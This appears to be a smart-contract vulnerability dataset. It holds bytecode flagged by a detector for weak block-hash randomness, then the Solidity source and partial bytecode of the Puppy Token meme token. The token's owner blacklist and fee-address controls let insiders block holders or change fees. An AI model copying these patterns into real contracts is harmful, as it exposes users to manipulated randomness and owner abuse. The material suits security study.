000803e3d6000fd5b505050506040513d606081101561029657600080fd5b508051602082015160409092015190965090945092505b600160009054906101000a90046001600160a01b03166001600160a01b03166368ff7d0b6040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156102fd57600080fd5b505af1158015610311573d6000803e3d6000fd5b505050506040513d602081101561032757600080fd5b50519150876103c2576003600a60408b901c0610965086156103c257600160009054906101000a90046001600160a01b03166001600160a01b031663a2f96a136040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561039357600080fd5b505af11580156103a7573d6000803e3d6000fd5b505050506040513d60208110156103bd57600080fd5b505190505b6002546040805188815260208101889052808201879052606081018690526080810185905260a081018490524260c08201529051891515928b15159290917f0b3bbbd267d6350c331b5fcf0719ce0144529e8014a7e6517c82afe45a0b9aed9181900360e00190a450505050505050505050565b6001546001600160a01b031690565b61044d61081b565b6000546001600160a01b039081169116146104af576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b61050161081b565b6000546001600160a01b03908116911614610563576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001546001600160a01b0316156105ab5760405162461bcd60e51b815260040180806020018281038252603181526020018061085b6031913960400191505060405180910390fd5b6001600160a01b0381166105f05760405162461bcd60e51b815260040180806020018281038252603b815260200180610820603b913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031690565b60025490565b61062f61081b565b6000546001600160a01b03908116911614610691576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166106d65760405162461bcd60e51b815260040180806020018281038252602681526020018061088c6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008282018381101561078b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60015460025460408051426020808301919091524360001981014083850152600119810140606080850191909152600219820140608085015260031982014060a08501526004199091014060c08401529490941b6bffffffffffffffffffffffff191660e082015260f48082019390935281518082039093018352610114019052805191012090565b339056fe436f6e74726f6c6c65723a204d494c4b20746f6b656e20636f6e74726163742063616e6e6f742062652073657420757020746f206e6f7468696e67436f6e74726f6c6c65723a204d494c4b20746f6b656e20636f6e74726163742069732073657420757020616c72656164794f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373436f6e74726f6c6c65723a206e65656420746f207761697420666f722061206e657720726f756e64a26469706673582212205fa1c2f2b865288968f3e6c517f08da8e0d708d075510d36ea772e16c8a7253c64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}]}} | 1,925 |
0x94E25FC8960DcE26823AfEebf8a82eBc13c8e439 | /**
* Puppy Token
*
* The $Puppy is a community-driven meme token of metaverse.
* There is a huge plan on this token including the 10000 NFT launch with great art.
* This NFT will be a metaverse user's Pet and they will love to use those NFT to their avatar.
*
* TG : https://t.me/puppiestoken
*/
/**
*
*
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PuppyToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Puppy Token";
string private constant _symbol = unicode"Puppy";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint256 _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint256 _multiplier);
event FeeRateUpdated(uint256 _rate);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(
address payable FeeAddress,
address payable marketingWalletAddress
) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(tradingOpen, "Trading not yet enabled.");
if (walletLimitDuration > block.timestamp) {
uint256 walletBalance = balanceOf(address(to));
require(
amount.add(walletBalance) <= _tTotal.mul(2).div(100)
);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && tradingOpen) {
if (contractTokenBalance > 0) {
if (
contractTokenBalance >
balanceOf(uniswapV2Pair).mul(5).div(100)
) {
contractTokenBalance = balanceOf(uniswapV2Pair)
.mul(5)
.div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
tradingOpen = true;
walletLimitDuration = block.timestamp + (60 minutes);
}
function setMarketingWallet(address payable marketingWalletAddress)
external
{
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee(address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _FeeAddress);
_noTaxMode = onoff;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == _FeeAddress);
require(team <= 10);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
require(tax <= 1);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if (
bots_[i] != uniswapV2Pair &&
bots_[i] != address(uniswapV2Router)
) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint256) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint256) {
return balanceOf(uniswapV2Pair);
}
} | 0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f7146104fb578063db92dbb614610524578063dd62ed3e1461054f578063e6ec64ec1461058c57610171565b8063c3c8cd80146104a4578063c4081a4c146104bb578063c9567bf9146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806395d89b4114610413578063a9059cbb1461043e578063b515566a1461047b57610171565b8063313ce56711610123578063313ce5671461029a5780633bbac579146102c5578063437823ec146103025780634b740b161461032b5780635d098b38146103545780636fc3eaec1461037d57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd14610209578063273123b71461024657806327f3a72a1461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105b5565b6040516101989190613331565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612e77565b6105f2565b6040516101d59190613316565b60405180910390f35b3480156101ea57600080fd5b506101f3610610565b60405161020091906134b3565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612e28565b610621565b60405161023d9190613316565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612d71565b6106fa565b005b34801561027b57600080fd5b506102846107ea565b60405161029191906134b3565b60405180910390f35b3480156102a657600080fd5b506102af6107fa565b6040516102bc9190613528565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e79190612d71565b610803565b6040516102f99190613316565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612dc3565b610859565b005b34801561033757600080fd5b50610352600480360381019061034d9190612ef4565b610915565b005b34801561036057600080fd5b5061037b60048036038101906103769190612dc3565b610993565b005b34801561038957600080fd5b50610392610b0a565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612d71565b610b7c565b6040516103c891906134b3565b60405180910390f35b3480156103dd57600080fd5b506103e6610bcd565b005b3480156103f457600080fd5b506103fd610d20565b60405161040a9190613248565b60405180910390f35b34801561041f57600080fd5b50610428610d49565b6040516104359190613331565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190612e77565b610d86565b6040516104729190613316565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190612eb3565b610da4565b005b3480156104b057600080fd5b506104b9611026565b005b3480156104c757600080fd5b506104e260048036038101906104dd9190612f46565b6110a0565b005b3480156104f057600080fd5b506104f9611119565b005b34801561050757600080fd5b50610522600480360381019061051d9190612dc3565b611644565b005b34801561053057600080fd5b50610539611700565b60405161054691906134b3565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612dec565b611732565b60405161058391906134b3565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612f46565b6117b9565b005b60606040518060400160405280600b81526020017f507570707920546f6b656e000000000000000000000000000000000000000000815250905090565b60006106066105ff611832565b848461183a565b6001905092915050565b6000683635c9adc5dea00000905090565b600061062e848484611a05565b6106ef8461063a611832565b6106ea85604051806060016040528060288152602001613bec60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a0611832565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120579092919063ffffffff16565b61183a565b600190509392505050565b610702611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610786906133f3565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006107f530610b7c565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089a611832565b73ffffffffffffffffffffffffffffffffffffffff16146108ba57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610956611832565b73ffffffffffffffffffffffffffffffffffffffff161461097657600080fd5b80601060156101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d4611832565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b600060056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4b611832565b73ffffffffffffffffffffffffffffffffffffffff1614610b6b57600080fd5b6000479050610b79816120bb565b50565b6000610bc6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b6565b9050919050565b610bd5611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c59906133f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5075707079000000000000000000000000000000000000000000000000000000815250905090565b6000610d9a610d93611832565b8484611a05565b6001905092915050565b610dac611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e30906133f3565b60405180910390fd5b60005b815181101561102257601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610eb7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610f715750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561100f57600160066000848481518110610fb5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061101a906137db565b915050610e3c565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611067611832565b73ffffffffffffffffffffffffffffffffffffffff161461108757600080fd5b600061109230610b7c565b905061109d81612224565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e1611832565b73ffffffffffffffffffffffffffffffffffffffff161461110157600080fd5b600181111561110f57600080fd5b8060098190555050565b611121611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a5906133f3565b60405180910390fd5b601060149054906101000a900460ff16156111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f590613473565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061128e30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061183a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d457600080fd5b505afa1580156112e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130c9190612d9a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561136e57600080fd5b505afa158015611382573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a69190612d9a565b6040518363ffffffff1660e01b81526004016113c3929190613263565b602060405180830381600087803b1580156113dd57600080fd5b505af11580156113f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114159190612d9a565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061149e30610b7c565b6000806114a9610d20565b426040518863ffffffff1660e01b81526004016114cb969594939291906132b5565b6060604051808303818588803b1580156114e457600080fd5b505af11580156114f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061151d9190612f6f565b505050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016115bf92919061328c565b602060405180830381600087803b1580156115d957600080fd5b505af11580156115ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116119190612f1d565b506001601060146101000a81548160ff021916908315150217905550610e104261163b91906135e9565b60118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611685611832565b73ffffffffffffffffffffffffffffffffffffffff16146116a557600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061172d601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117fa611832565b73ffffffffffffffffffffffffffffffffffffffff161461181a57600080fd5b600a81111561182857600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a190613453565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561191a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191190613393565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119f891906134b3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6c90613433565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611adc90613353565b60405180910390fd5b60008111611b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1f90613413565b60405180910390fd5b611b30610d20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b9e5750611b6e610d20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7d57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c475750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611c5057600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cfb5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e0d57601060149054906101000a900460ff16611da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9c90613493565b60405180910390fd5b426011541115611e0c576000611dba83610b7c565b9050611dec6064611dde6002683635c9adc5dea0000061251e90919063ffffffff16565b61259990919063ffffffff16565b611dff82846125e390919063ffffffff16565b1115611e0a57600080fd5b505b5b60006